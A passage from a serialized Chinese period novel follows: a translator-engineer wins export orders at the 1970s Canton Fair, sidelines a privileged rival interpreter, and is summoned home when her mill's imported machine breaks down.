姜海棠点点头:“应付客商足够了!” 周副部长来了兴趣,竟然跟着姜海棠一同去了机械厂的展台。 姜海棠却觉得,周副部长今天放下其他工作跟着自己,绝对不简单。 姜海棠一行人快步穿过嘈杂的展馆,远远就看见机械厂展位前围着一圈人。 郑开河正焦急地张望,看到她时如见救星般挥手。 “怎么回事?郑厂长。”姜海棠挤进人群,低声问道。 郑开河额头上的汗在灯光下闪闪发亮:“颜培文根本听不懂专业术语,而且,她只能听没有办法开口和客商对话,已经冷场十分钟了!” 展台前,颜培文脸色惨白地攥着笔记本,对面站着三位国外的客商,为首的白发老者正指着展台上的纺织机械,不断重复着一个专业词汇。 “她在发抖。“康小夏小声凑近姜海棠说。 姜海棠定睛一看,颜培文的手指确实在微微颤抖,精心修饰的指甲死死掐进掌心。 “让我来吧。”姜海棠缓步走上前,向客商问好:“我是金城机械厂的翻译,抱歉让各位久等了!” 客商们明显地松了一口气,其中一位银发老者说:“终于有个懂专业汉语的人了!” 姜海棠经过简单的沟通之后,微笑转向郑开河:“郑厂长,这位是施密特博士,他问咱们的自动织布机为什么能在不降低转速的情况下减少断线率。” 郑开河眼前一亮:“姜工,今天就靠你了。” 郑开河觉得,对方肯定是有购买的想法的,要不然不会宁愿在这里冷场十分钟也要等待。 姜海棠微笑点头,流畅地将技术术语转化为外语:“……绕线系统减少了40%的摩擦,以此减少断线率。” 随着交流深入,施密特博士的表情从怀疑逐渐变为惊叹。 第215章 我要留在基层 郑开河的手心全是汗,他攥着那份刚签好的合同,指节因为用力而泛白。 二十台自动织布机,这不仅是一笔订单,更是机械厂建厂以来最大的一笔出口生意。更让他心跳加速的是附加条款,客商预订了明年新机型的优先采购权,这意味着他们的产品打入了国际市场。 他抬眸正好看到墙上“发展对外贸易,支援国家建设”的红色标语,此时此刻,那条鲜艳的标语显得格外亮眼,符合他此刻的心情。 “谢谢您的信任!”他用力握住为首那位金发外商的手,声音微微发颤。 “我们将向你们提供全套技术资料,如果有需要,在你们安排食宿的情况下,可以派工程师驻场培训三个月。” 外商推了推鼻梁上的金丝眼镜,用略显生硬的中文笑道:“郑厂长,我们相信中国的技术实力,更相信姜小姐的专业判断。” 他转头看向站在一旁的姜海棠,眼中带着毫不掩饰的赞赏,“她对经纱张力调节系统的讲解,比我们的技术顾问还要清晰。” 郑开河这才后知后觉地看向姜海棠。 他想起出发前毛厂长拍着他的肩膀说:“开河,广交会是咱们厂的机会,三天能谈成一单就不算白来。实在遇到困难的时候,找姜海棠同志,她能给你代理惊喜。” 他当时并没将这些话放在心上,觉得姜海棠应该没有这么大的本事,却没想到,在姜海棠的帮助下,原本三天才可能出现破零的计划当天就完成了。 现在距离广交会开展才半天,就迎来这样的“开门红”可喜可贺啊,这一切要感谢姜海棠。 “姜工,今天这事儿,你居功至伟啊!”郑开河的声音里满是感激。 若不是姜海棠刚才及时解围,此刻展台前恐怕早已冷清。 思及此,郑开河看向颜培文的眼神就有些不好了。 姜海棠淡定自若地笑着:“郑厂长言重了,我也是咱们机械厂的一员,做这些是应该的,总不能看着自家厂子的生意黄了。” “接下来几天,可能还需要麻烦你帮帮机械厂,不过你放心,我等下就给厂里打电话,让厂里另外安排翻译人员过来。” 颜培文,郑开河已经决定不用了。 “不行!”颜培文感受到了危机,立即反对:“我是专业的翻译人员,你们不可以另外找翻译!” “颜培文,你自己掉链子就算了,还不允许我们另外找翻译人员,你觉得,机械厂是你说了算吗?”郑开河不打算继续姑息颜培文了。 至于回去后,会面临的处分,等回去后再说吧,就算要处分,他也要完美的完成广交会这项任务。 “郑开河,你的前途不要了吗?” “我知道,你要说你爸爸,如果你父亲颜副主任真的为了你的失职处分我,我可以接受,但在处分下来之前,我是机械厂的副厂长,是这一次参加广交会的负责人!” 郑开河是真的做好了撕破脸的准备,根本不给颜培文面子。 就是这位自诩“专业翻译”的姑娘,对着客商提出的“瞬时张力承载系数”支支吾吾,最后涨红了脸说“这是故意刁难”,差点把客商气走。 颜培文站在一旁,漂亮的眸子看向姜海棠的时候,都是怨毒。 姜海棠凭什么? 一个乡下来的贱人,竟然能说动那些老外订购产品。 “郑厂长,你……” “颜培文同志,”郑开河深吸一口气,“接下来几天,你就留在招待所吧,不用来展台了。” 当初颜培文一口咬定自己的外语水平过关,甚至,还拒绝厂里另外安排一位翻译人员过来,导致今天冷场。 机械厂确实需要有一名翻译,但不需要一名拖后腿的翻译。 今天只是简单的对话她就卡了壳,他就算不懂外语,也能感觉到,颜培文的外语水平好这个话有待商榷。 颜培文猛地抬起头,白色的确良衬衫因为动作而绷紧,露出纤细的锁骨。 她的脸原本白皙漂亮,此刻却涨得通红,一双杏眼死死盯着姜海棠。 “郑开河,你没有这个权利阻止我来展台!” “我们要的是翻译,不是来添乱的。”郑开河的声音冷了下来。 “我添乱?”颜培文的声音陡然拔高,精致的脸上掠过一丝扭曲,“一个乡下来的土包子,你们一个个都护着,想着我好欺负吗?” 郑开河简直要气笑了,什么时候,他们敢欺负这位官二代了? 他攥紧拳头,指节发白:“颜培文同志,如果有处分,我等着,但在处分下来之前,我是这次广交会的负责人。机械厂的利益,比谁的面子都重要。” “你!”颜培文气得浑身发抖,漂亮的眸子看向姜海棠时,淬满了怨毒。 颜培文狠毒的目光看向姜海棠,却惊讶地发现,姜海棠身后不远处站着一个人。 是周副部长!他什么时候来的?刚才的话,他是不是全听见了? 郑开河这时也才发现周副部长,连忙走上前:“周副部长,您怎么来了?也不提前说一声,我好准备准备。” 周副部长摆摆手,目光越过他落在姜海棠身上,眼神里满是温和的赞赏。 “我是跟着小姜一起过来的,刚才看完她给纺织厂争取到了一笔大订单,又看到给你们机械厂争取到了订单,果然是巾帼不让须眉啊!” “周副部长,您过奖了,我就是做了自己应该做的。” 看着谦虚的姜海棠,周副部长更加满意了,他又将目光看向郑开河。 “郑副厂长,你做得很对,这件事,我会专题给部里做汇报,你放心吧,我们绝对不会让尽职尽责一心为公的人受委屈!任何人都不行!” 周副部长这个话,就是公然的给郑开河站台支持了。 “周副部长,我没有,只是……”颜培文立即开口解释。 “你不用解释,我年龄虽然大了,但耳朵还算好,听得清清楚楚。”周副部长摆摆手,打断了颜培文的辩解。 颜培文慌了,眼泪差点掉下来。 但周副部长并没有放过她的打算,他目光严厉地扫了她一眼。 “颜培文同志,1972年尼克松访华时,周总理就说过,外交工作要看实绩,不看身份。你连基本的翻译职责都没尽到,还在这里摆架子?” 颜培文的脸瞬间失去了血色。 她爸早就跟她说过,这位周副部长是出了名的“油盐不进”,最恨搞特殊化。 去年有个司长因为给亲戚走后门批紧俏物资,被他在大会上点名批评,直接调到了仓库。 她张了张嘴想辩解,却被周副部长抬手打断:“你的职责是架起沟通的桥梁,不是制造障碍。回去后,好好加强业务学习吧。” 这句话像一把重锤,砸碎了颜培文最后的希望。 她知道,自己的前途可能就毁在这几句话里了。 她死死咬着嘴唇,指甲掐进掌心,视线像毒箭一样射向姜海棠,这个可恶的贱人,她绝不会放过! 姜海棠感受到那怨毒的目光,心里微微发寒。 “姜海棠同志,”周副部长的目光转向她,语气温和了许多,“你不仅外语好,对机械技术也很熟悉,难得有这样的大局观。部里正组建对外技术交流小组,有没有兴趣来京城工作?” 周围的人都屏住了呼吸。谁都知道,能进部委工作是多少人梦寐以求的事,更何况是这样直接的提拔。 颜培文更是瞪大了眼睛,嫉妒得快要发疯。 凭什么?一个乡下丫头能得到这样的机会? 姜海棠也愣了一下,随即诚恳地摇了摇头:“谢谢您的赏识,周副部长。但我还是想留在基层。金城纺织厂还有很多技术难题等着攻克,我走不开。” 周副部长有些意外,随即露出赞赏的笑容:“好,有志气!基层确实需要你这样的人才。这个邀请长期有效,什么时候想通了,随时来找我。” 他顿了顿,像长辈一样笑问,“结婚了没有?要不要我给你介绍个有志青年?” 姜海棠的脸颊微微泛红,不好意思地笑了:“已经订婚了,等广交会结束,就准备结婚了。” “哦,你这样优秀的女同志,对象也应该很优秀。”周副部长饶有兴致地问。 他猜测,小姜同志不愿意去部里工作,大概还有家庭的原因。 如果小姜的对象一样优秀,或许可以一起调动到京城工作。 “我对象是金城纺织厂的陆良辰。” 周副部长眼睛一亮,随即笑了起来:“原来是小陆啊!不错不错,你们俩都是好孩子。” 姜海棠心里一动,看来这位副部长和陆家人是认识的。 陆良辰的家庭,和部里的领导有交集也不奇怪。 就在这时,展位外又传来一阵脚步声。 几个高鼻梁的外国客商被织布机的吸引,正探头探脑地往里看。 郑开河连忙迎上去,刚张开嘴又想起语言障碍,尴尬地回头看向姜海棠。 姜海棠会意,快步上前,用流利的英语打招呼:“先生们,欢迎了解金城机械厂的织布机,这款织布机的生产效率比同类机型高出 15%,能耗却降低了 8%……” 第216章 拿命换外汇 客商们的眼睛亮了起来,纷纷围上前询问细节。 姜海棠从容不迫地一一解答,偶尔拿起纸笔写写画画,专业得像个资深工程师。 郑开河看着这一幕,长长地舒了口气,随即想起现在还有翻译的问题没有解决,他打算等下就去邮局给厂里打电话。 接下来的几天,姜海棠成了广交会上的“明星”。 她白天在机械厂展台帮忙翻译、讲解技术,晚上赶回纺织厂的展位整理样品、核对订单,每天只睡四五个小时,都快要忙疯了。 这天下午,她刚帮机械厂签下一笔追加订单,正准备回纺织厂,忽然觉得一阵头晕。 她扶住展台边缘,指尖微微发颤,眼前的织布机开始模糊。 “姜工,你脸色怎么这么差?”郑开河正好看到,连忙递过一杯水,“是不是累坏了?我让小周送你回招待所休息。” 姜海棠摇摇头,刚想说话,胃里却一阵翻涌。 她摆摆手:“没事,可能是有点水土不服,我去洗把脸就好。” 可刚走到洗手间门口,她就腿一软,差点摔倒,幸好被赶来的康小夏扶住。 “我的老天爷!”康小夏看着她苍白的脸,又气又急,“你这是拿命换外汇啊!” 她半扶半搀着姜海棠往回走,嘴里不停念叨,“你看看你,眼下的青黑都快赶上熊猫了!今天说什么也得休息,纺织厂那边我替你盯着,机械厂要是再敢来叫你,我就把郑开河的算盘珠子拆了!” 姜海棠靠在她肩上,有气无力地笑:“别冤枉郑厂长,我也是机械厂的员工,干点儿不是应该的?” “钱重要还是外汇重要?”康小夏嗔怪地拍了她一下。 “我可能就是忘了吃早餐。”姜海棠怀疑自己是低血糖了。 康小夏叹了口气,从包里拿出个油纸包:“幸好我给你带了糖包,快吃点垫垫。” 糖包的甜味在舌尖散开,姜海棠的力气慢慢恢复了些。 “我们回去吧,展台那边不能没人。” “你就不能休息休息?机械厂不仅超额完成了出口任务,还与多个国家建立了长期合作关系。就算你现在不管,也没太大的问题。” 姜海棠笑着说:“今天晚上,机械厂的翻译就能到位,我就不用这样来回跑了。” 不想继续被康小夏批评,姜海棠忙换了话题:“小夏,你有没有觉得……这几天好像特别安静?” 康小夏愣了一下,随即反应过来:“你是说岳城?” “是啊!岳城那边太平静了,反而不对。”姜海棠压低声音。 “赵凯说,陆大哥托人打了招呼,有专门的人盯着呢,估计他们没机会靠近。” 姜海棠心里一暖。陆良辰总是这样,不说多话,却把什么都安排得妥妥帖帖。 恢复了一点力气之后,姜海棠回到了工作岗位上。 恰在此时,吴慧婷来了。 “海棠,你的脸色怎么这么差?”看到面白如纸的姜海棠,吴慧婷吓了一跳。 吴慧婷今天穿了件米色西装套裙,在满眼蓝灰黑的招待所里显得格外亮眼,却没戴任何首饰,作为客商,外商们入乡随俗,都默契地保持低调,和这个国家保持一致。 姜海棠笑着道谢,倒了杯茶水递过去:“我还以为这一届广交会您不来了。” “有些事耽误了,想着反正肯定是要找你们谈,早来也没必要,就等了几天。你们的混纺呢料质量比去年还好,我的服装厂订了两百件大衣,就用这个料子。” 姜海棠眼睛一亮,“我们新上了新机器,纱线更均匀,做大衣挺括又透气。” “确实不错,等下我就签合同。” 说话的时候,她看到姜海棠将一摞羊毛衫和尼龙袜整齐地码放在展台最显眼的位置的时候,不由惊讶。 “海棠,你们什么时候能生产尼龙袜了?你们主推的不是混纺呢料吗?” “就是最近,我们新成立了一个袜子车间。”姜海棠笑着拿起一双袜子给吴慧婷看。 吴慧婷摸着柔软的袜子,说:“这个袜子质量确实不错。” “您要不要考虑一下?” 吴慧婷摇摇头:“我只加工服装,袜子用不到,不过,我有个朋友明天就到了,他或许会需要,我到时候会给他推荐。还有你们的羊毛衫,他也很有兴趣,如果他能看中你们的羊毛衫,相信会为你们带来不错的效益。” “谢谢您的提携!”姜海棠十分诚恳的道谢。 “你我之间,不需要这么客气,海棠,你真的不考虑,跟着我去香江发展吗?香江的发展,确实比这边要好上许多。” 姜海棠摇摇头:“我热爱我现在的这份工作,我也希望能在未来,为了祖国的发展贡献自己的力量。” 吴慧婷捏着袜子说:“你很有想法,这双袜子应该用了独创的加固工艺吧?耐磨度比现在市面上的袜子要高出不少。” 姜海棠笑道:“这都让您发现了?确实是这样,耐磨度提高三倍,但成本只增加10%。” 两个人说话的时候,正好有人路过,听到姜海棠说耐磨度提高三倍的时候,不由驻足。 吴慧婷说:“不错,这袜子我相信会很有市场。” “借您吉言。” “等你忙完了,我们一起去吃个饭,我这次来,没打算多待,再有两三天就要回去了。” “这么急吗?” “是啊,我的厂子正在扩建,需要我时时刻刻盯着才行,离开时间太长,我不放心。” “祝您的生意能蒸蒸日上。”姜海棠客客气气的送上祝福。 “海棠,国内目前纺织工业系统主要在发展化纤原料的生产技术,你们厂也应该朝着这个方向发展,不过,第一批的基地建设,你们错过了,这会让你们的发展滞后许多。” 姜海棠没想到,一个香江的客商,能对自己说这些。 “这是国家统一安排的,不过,谢谢您的提醒,我们会积极主动争取。”有些话不能说的太直白。 “我相信你们能做到,希望未来,我们能在化纤面料上有新的合作。” “一定会有那一天的。”姜海棠也不知道,自己这话是说给吴慧婷听,还是说给自己听,但她确实有这个想法。 吴慧婷看着她眼里的光,忽然叹了口气:“说真的,海棠,你要是愿意来香江发展,我给你开比现在高出十倍的工资。那边的市场大,机会也多。” 姜海棠摇摇头,笑容温和却坚定:“不了,我还是觉得在国内踏实。您也知道,咱们国家的纺织业底子薄,正需要人往上赶。我想留在厂里,看着咱们自己的面料一步步赶上国际水平。” 吴慧婷给姜海棠留下了两本关于化纤面料研究的书籍,“我猜你对这两本书有兴趣,特意给你带过来的。” 姜海棠欣喜的道谢,她确实需要掌握这方面的知识。 吴慧婷笑了笑:“跟我客气什么。对了,我认识个做百货贸易的朋友,明天就到,我让他过来看看你的袜子?” “那太感谢了!” 送走吴慧婷,姜海棠陷入沉思。 1973年初,国家开始筹建第一个大型石油化纤原料基地“上海石油化工总厂”第一期工程;同年9月,在四川筹建生产维纶的大型化工化纤联合企业“四川维尼纶厂”,主要是生产乙炔,制成醋酸乙烯,再聚合为聚乙烯醇。 去年8月,辽阳石油化纤总公司破土动工兴建,以石油为原料,采取提取芳烃为主的工艺路线。 接下来几年,先后有天津石油化纤总厂、上海石油化工总厂等项目开始建设,等这些厂子正式建成投产之后,乙烯、丙烯、芳烃等生产线都会打通,化纤原料生产的技术水平和自给能力大大提高。 随着这些厂的高速发展,剩下的纺织厂将会在一段时间内处于劣势。 按照上辈子的轨迹,等化纤原料充足了,传统纺织厂不转型就麻烦了。 金城纺织厂确实错过了第一批化纤基地的建设,但未必没有机会。 国家还会陆续批准第二批、第三批化纤项目,如果能争取到其中一项,金城纺织厂就能扭转局面。 不过,现在最要紧的,还是先把广交会的订单拿稳。 正想着,一个身材高大的外国客商走了过来,他拿起一双尼龙袜仔细端详,又摸了摸羊毛衫的质地,用英语问道:“美丽的中国小姐,这些产品可以给我介绍一下吗?” 姜海棠立刻打起精神,微笑着用流利的英语回答:“先生,您看这个袜底的菱形纹路,用的是加固双线,耐磨度比普通袜子高三倍,羊毛衫采用的是 32支精梳纱,缩水率控制在 3%以内……” 她很认真的对产品进行介绍,对方显然是满意的。 “请问,这些货物的价格是多少?” “尼龙袜每打十二美元,羊毛衫每件十八美元,量大可以优惠。” 客商听得很认真,不时拿起袜子和羊毛衫翻看。 “我需要五千打袜子,三千件羊毛衫,但价格要比报价单低 10%。” 第217章 成绩斐然 姜海棠的笑容不变,语气却很坚定。 “先生,我们的价格已经是成本价加合理利润了。如果您能签一年的供货合同,我可以申请降 5%,这是我们厂长给我的最大权限。” 客商挑眉:“长期合作?” “是的,我们可以保证每年稳定供货,并且优先为您提供新研发的产品。”姜海棠自信而又明媚,让人不由产生信任。 姜海棠迎上他的目光,不卑不亢,“您也知道,中国的制造业正在快速发展,现在建立合作,将来您会得到更优质的产品和服务。” 客商沉默了片刻,忽然笑了:“姜小姐,您很有底气,我相信您的判断。”他伸出手,“就按您说的,先签五千打袜子和三千件羊毛衫。如果质量达标,我们再谈长期合作。” 姜海棠松了口气,赵凯也主动上前,经过姜海棠的介绍之后,几个人一起开始研究合同细节。 最终,双方十分友好地签订了合同。 送走了客商,赵凯忍不住赞叹:“姜工,您可真是咱们厂的福星!这一单就能顶咱们半年的外汇任务!” 加上今天这一笔订单,这一次广交会已经超过了去年秋季广交会的成交金额。 他们这一次广交会,必然取得大丰收。 姜海棠笑着摇摇头:“这是大家共同努力的结果。从纺纱到织布,每道工序都离不开工友们的辛苦。” 赵凯激动地搓手:“扫最,等回厂里,我一定向厂党委汇报你的贡献!” 姜海棠刚想说话,忽然感觉一阵头晕,她扶住展台边缘,脸色微微发白。 “嫂子,你怎么了?”赵凯连忙扶住她。 “没事,可能是这几天太累了……”姜海棠勉强笑了笑。 赵凯皱眉:“你赶紧回去休息,这里有我和其他同志顶着,我让小夏送你回去。” 姜海棠本想拒绝,但眼前一阵阵发黑,只好点头:“那……我先回去躺一会儿。” 康小夏送姜海棠回招待所,一路上都在埋怨。 “那会儿看着你身体就不好,让你休息,非得工作,看看都累成什么样子了?以后可不能再这样了,我回头得和赵凯说说,你要是再这样,就让你暂时休息!” “我知道了,小夏,我保证今天下午好好睡觉,保证充足的休息。” 康小夏一直守着姜海棠,等姜海棠沉沉睡去,才急匆匆离开。 姜海棠在招待所的床上昏昏沉沉地睡了一下午,醒来时窗外已是暮色沉沉。 她揉了揉太阳穴,发现床头柜上放着一杯水,旁边还有一张字条,是康小夏的字。 “海棠姐,我去给你买点吃的,你醒来了先喝水。” 她撑着身子坐起来,喝了几口水,人也算彻底精神过来了。 这时,房门被轻轻叩响。 “小夏?”姜海棠问道。 “是我。”门外传来郑开河的声音,“姜工,你好些了吗?” 姜海棠连忙整理了下衣服下床,然后又将床铺简单的整理了一下,感觉能见人了,才走过去开门。 “郑厂长,请进。” 郑开河手里还拎着一个网兜,里面装着几个苹果和一瓶麦乳精,歉意地说:“听说你累倒了,我代表厂里来看看你。” 郑开河觉得,姜海棠都是因为承担了机械厂的翻译工作,才会如此。 “您太客气了。”姜海棠有些不好意思,“只是有点头晕,休息一下这就已经好了。” “明天你再休息休息,要不去医院检查一下身体。” “不用了,我今晚再睡一觉,明天起来,保证精精神神的。” 见姜海棠的状态确实不错,郑开河也就不勉强她了。 他把带来的网兜放在桌上,神情严肃起来。 “姜工,有件事得和你商量。刚才周副部长让人来说部里要组织一个技术考察团去德国,问你要不要参加?” “德国?”姜海棠一怔。 “对,主要是考察他们的化纤设备和纺织机械。”郑开河压低声音,“周副部长说,这是个难得的机会,能接触到最先进的技术。” 姜海棠心跳加快。 如果能去德国学习,对金城纺织厂的技术革新会有巨大帮助。 “什么时候出发?要去多久?“ “下个月初,大概三个月,我也觉得你应该抓住机会,而且这次考察团的团长,就是周副部长本人。” 姜海棠眼睛一亮,如果有周副部长带队,那这次考察的意义就更加重大了。 “我需要考虑一下。”她最终说道。 郑开河点点头:“明天给我答复就行。” 他刚离开,康小夏就端着热腾腾的饭菜回来了:“海棠姐,快趁热吃!我特意去国营饭店买的鸡汤面,还加了个荷包蛋!” 姜海棠心里一暖:“谢谢你,小夏。今天我不在,你们忙坏了吧?” “我还好,知秋姐那边压力增加了许多,这会儿还在呢。知秋姐给我说,让我好好照顾你就行,让你好好休息。” 康小夏一边帮她摆筷子,一边絮絮叨叨:“今天下午又签了两单,数量虽然都小,但都是冲着咱们的尼龙袜来的!” “真的,那可太好了。”姜海棠欣喜地说。 第二日一早,姜海棠果然恢复得差不多了,整个人神清气爽。 这个早上,外商没有过来几个,看中商品的更是没有,他们也是难得清闲。 临近中午,一位裹着头巾的中东商人驻足展台前,盯着羊毛衫看了许久。 “您好,需要为您介绍吗?”姜海棠立即上前询问。 商人摇摇头,用带着浓重口音说:“我很喜欢,只是太厚了,不适合我们的气候。” 姜海棠灵机一动,想起来这次来的时候,还带了几件浅色薄款,立即翻找出来。 “这是我们专门为天气比较热的地区设计的透气款,采用特殊纺纱工艺。” “这种衣服在沙漠地区非常实用,白天防晒,晚上保温。”姜海棠将羊毛衫比在肩上示范,“而且重量只有普通羊毛衫的一半。” 中东商人眼前一亮,接过姜海棠手中的羊毛衫仔细看了起来,过了一会儿,他掏出计算器:“每种颜色500件!等等……能绣上这个图案吗?”他指着样品册上的骆驼图案询问。 “当然可以。”姜海棠迅速画出设计图,“我们还能用金线刺绣,更符合贵国审美。” 中东商人十分豪气,觉得满意了,竟然没有讨价还价就答应下来,只是要求务必要符合设计。 又一份大单尘埃落定,参加广交会的众人都高兴得不得了,这一单落定,针织品的订单量竟然超过了主打的混纺呢料! “袜子十二万双!羊毛衫八万件!”赵凯捧着订单本的手都在发抖,“嫂子,您这是把咱们厂的边角料都卖出黄金价了!” 因为中东商人这一笔订单,姜海棠吃饭的时间不得不延后许多,打发走了客人,他正准备去吃饭,周副部长打发人来找她了,让她晚上去东方宾馆。 姜海棠猜测,周副部长找自己,应该是为了去德国培训的事,因此,并没有太在意就答应了下来。 下午,吴慧婷陪着一名客人到了金城纺织厂的展台前面,经过双商协商,对方也下了一批订单,而且,对方承诺,如果这批货卖得好,还会续订。 合同签订后,吴慧婷单独找姜海棠说话:“海棠,我明天就要回到香江了,你有什么需要,可以联系我,我能帮忙的,肯定帮。” 姜海棠对此十分感谢,在这个年代,能够勇敢对大陆伸出援助之手的人难能可贵。 “谢谢!我虽只是一个小人物,但我想代表千千万万的华国人民感谢您!” “我也希望祖国能够繁荣昌盛,我们这些人,和你们一样,希望祖国能够越来越强大,无论何时何地,只有祖国强大,我们这些人在外的日子,才能过得更加舒心!” “会的,或许,在未来十数年间,我们就能见证一个国家的腾飞。” 夜色中的东方宾馆灯火通明。 姜海棠推开会议室的门,惊讶地看到周副部长和几位军人正围着样品讨论。 见她进来,一位中年军人站起身:“姜海棠同志?我是总后勤部的王志强。你们的产品很适合部队需求,特别是这种加固袜子,能不能专门为部队设计一批?” 姜海棠没想到,还有这等好事儿呢,这简直算是喜从天降了。 “我们会立即着手设计,争取在半个月之内拿出样品。” 王志强和周副部长交换了一个惊讶的眼神。 周副部长笑着说:“我就说,你找金城纺织厂,肯定是找对人了,你看,没问题吧?” “果然,你的眼光还是好,那我就等着看你们的样品了,希望你们的样品不会让我失望。” 姜海棠坚决保证,绝对设计出最符合要求的袜子。 走出宾馆时,夜风拂过姜海棠滚烫的脸颊。 她想着,符合部队要求的袜子,应该具备什么样的特点。 后世好像听说过,部队的袜子防臭,连续穿多日都不会有臭味。 现在的技术应该做不到这一步,不过,她要为了这些最可爱的最可亲的人,做出当前这个年代最好的袜子。 第218章 紧急回程 战士保家卫国,用生命守护这片土地,纺织工人,要用最精湛的技艺,为他们织就最温暖的守护! 这不仅是袜子,更是纺织工人们对战士的一片赤诚之心和拳拳爱意。 当天晚上,姜海棠就开始想该怎么改进现有的袜子,才能生产出最好的袜子。 和她住在同一个房间的康小夏看着姜海棠这么拼命,忍不住扶额。 “海棠姐,你的身体刚好一点,可不能这样折腾。赵凯今天还专门叮嘱我,让你晚上一定要休息好。” 被康小夏强行合上本子的姜海棠,只能上床睡觉。 广交会最后一天,龙省按照惯例召开了总结会。 会上最风光的代表团就是机械厂和纺织厂。 纺织厂这边不用说,成绩斐然。 机械厂这边,郑开河红光满面地宣布这次共签订了一百五十台自动织布机的订单,还有其他机械也都有斩获,创汇金额达到九百四十万美元!是建厂以来最好的成绩! 其实,郑开河还是有点遗憾的,再有一点点,就能达到千万美元了,和九百多万,那就是天壤之别! 但下一次还是有机会的。 说不定,到了今年的秋季广交会,机械厂的成交额就能达到千万美元了。 要是放在以前,这根本是不敢想的,但是,现在郑开河觉得,这是可以期待的。 思及此,郑开河少不得要对姜海棠提出表扬,极尽赞美。 颜培文则坐在角落,脸色阴沉。 她实在不能接受,两个厂的厂长在总结会上,都对姜海棠提出表扬,甚至就连龙省代表团的领导,对姜海棠也是夸赞不断。 似乎没有了姜海棠,就不可能取得这些成绩一样。 分明,是因为厂里生产质量过硬,是大家一起努力才有这么多的成绩,姜海棠凭什么一个人独占功劳? “姜海棠,别以为你赢了。“颜培文咬牙切齿地说,“你一个乡下丫头,凭什么抢我的风头?我爸爸不会放过你的!” 姜海棠和已经坐了冷板凳的颜培文距离很远,自然听不到颜培文说的话。 可是她感觉到了一股森冷的气息,她扫视了一圈,感觉到这种气息是从颜培文的方向传过来的。 她无奈摇摇头,她这是被颜培文记恨上了,不过无人嫉妒是庸才,有人嫉妒,最起码证明了她的能力。 成绩斐然的喜悦在姜海棠回到招待所的时候,戛然而止。 周副部长安排人来告诉她,纺织厂那边出了点问题,让她抓紧时间回厂。 “可是都这时候了,也买不到火车票了。”赵凯不知道发生了什么事,但很忧心。 他们定的是后天的票,今天广交会结束,明天他们还需要做一下收尾工作。 “周副部长正好今天晚上要返回,已经帮您预定了一张票,您可以和周副部长一同乘坐晚上十二点的列车出发。” 姜海棠没想到,周副部长连这个都已经想到了。 但周副部长想得这样周全,姜海棠的心却更加不安了,能让周副部长这么重视,肯定不是小事。 现在姜海棠没有时间仔细考虑这件事,她需要抓紧时间收拾行李赶去火车站。 “姜海棠同志,您收拾行李,半个小时之后,会有车来接您去火车站。” 对方像是知道了姜海棠的想法一样,开口说。 姜海棠,放心了许多,立即上楼开始收拾行李。 因为突如其来的情况,大家的情绪都不是很好。 韩知秋一边帮姜海棠收拾东西,一边说:“这一次我们都不在身边,你一个人在路上要小心。” “不是还有周副部长,没事的。” “这么远的路,中间还要转车,现在也不知道周副部长是要回京城,还是跟你一样去西北呢。” 姜海棠沉默了一下,确实有这个可能,她和周副部长或许会在半路就分道扬镳。 剩下的路如果一个人走,其实也不是不行,姜海棠不是那种娇弱的不经风雨的人。 “没事,我很厉害的,就算一个人,也会平平安安回去的。” 姜海棠已经收拾好了行李,赵凯、康小夏和韩知秋几个人送姜海棠到大门口等车,郑开河急匆匆地跑过来,手里还拎着一个网兜。 “太晚了,我找了一大圈,才找到这么点吃的,姜工你带上路上吃。” 康小夏几个人听到郑开河这么说,这才想起来,他们竟然都没有想到这一茬。 “谢谢郑厂长。” 姜海棠之前其实也想到了吃饭的问题,但没有时间准备,只能等上车之后吃火车上的食物了,不挑剔的话,其实也还行。 这时候,一辆小汽车缓缓停在姜海棠的跟前,车上正是之前通知姜海棠的年轻人。 “姜海棠同志,我们可以出发了。” 赵凯立即说:“我送海棠去车站,等她上车之后再回来。” “赵副厂长,忙了这么多天,赶紧休息吧,海棠这丫头交给你,你放心,我还能把人给丢了?” 车窗缓缓降下,坐在后排的正是周副部长。 赵凯看到周副部长的时候,彻底放心了。 “那就辛苦您了,姜海棠同志是个年轻的女同志,又从来没有一个人出过远门,我们才多担心了一点。” “我懂,海棠同志,赶紧上车,迟了赶不上火车就麻烦了。” 姜海棠从小汽车的另一个车门上车,和周副部长一起坐在后面,向众人挥手告别。 小汽车在夜色中驶向火车站,姜海棠透过车窗望着广州城渐远的灯火,手指无意识地摩挲着行李包里的笔记本。 周副部长看了一眼,问道:“既然担心,为什么不开口问?” 姜海棠脸上依然是担忧,但语气却很平稳地说:“如果可以现在对我讲,您肯定会直接告诉我,没有告诉我,就代表现在不能讲。” 周副部长手里还拿着份文件,笑着说:“是个性格沉稳的,难怪陆家两上下对你赞不绝口。” 姜海棠没有回话,只是安安静静看着周副部长。 “你们厂的Y国进口牵伸机出了问题,说轴承突然卡死,整条生产线停了。”周副部长摘下眼镜揉了揉眉心,“部里刚接到电报,Y国方面不愿意安排专家前来维修。” 姜海棠心头一紧,这套设备是前几年引进的,如果出了问题,会严重影响到厂里的生产,尤其是在这一次签订了这么多的外贸订单的情况下。 金城纺织厂转型的关键,光是争取外汇指标,陆良辰就在部里立了三次军令状。 “具体是什么原因知道吗?”姜海棠咬着嘴唇想了一下问。 “他们的专家在沟通之后,咬定是我们的工人操作不当,因此,他们不会安排人前来维修。” 姜海棠摇头:“这不可能,我们厂的职工都是经过严格培训的,肯定有其他的问题。” 周副部长冷笑一声,“不过就是找个借口,我们国家现在弱小可欺,他们自然想以此要挟我们拿出更多的利益。” 车厢里顿时安静下来。 这时候,小汽车已经到了火车站。 “我们现在上车,车上再说。” 周副部长的表情不是很好,想到一次次被国外所谓的专家要挟,他的心情十分恶劣。 一行人顺利上了火车,因为周副部长的原因,他们这一次买到的是卧铺票。 火车晃晃悠悠地朝着夜色行驶,姜海棠和周副部长分析了一下情况后才沉沉入睡。 列车在漆黑的夜色中向北疾驰。 姜海棠在梦里看到了关于牵伸机结构的书,姜海棠认认真真将书上的内容都学习了一遍,又将可能出现的问题仔细地排演了一遍,找出最有可能出问题的地方。 等她醒来的时候,天已经大亮了。 对面下铺的周副部长已经起床了。 姜海棠看到领导都已经起床而自己才刚醒来,有些赧然。 看到姜海棠醒来,笑着说:“这段时间你辛苦了,等回去了,又是一场硬仗要打。” 姜海棠利索的下床,说道:“周副部长,我昨天晚上认真梳理了一下,已经排查出一些可能出现的问题的关键部位,等下我会详细地记录下来,或许对于下一步的工作开展有帮助。” 周副部长怎么也没想到,姜海棠躺在火车上,还在思考工作上的问题。 且不管在没有看到具体情况的时候,想的是不是正确,这样的精神就让周副部长对姜海棠更加欣赏了。 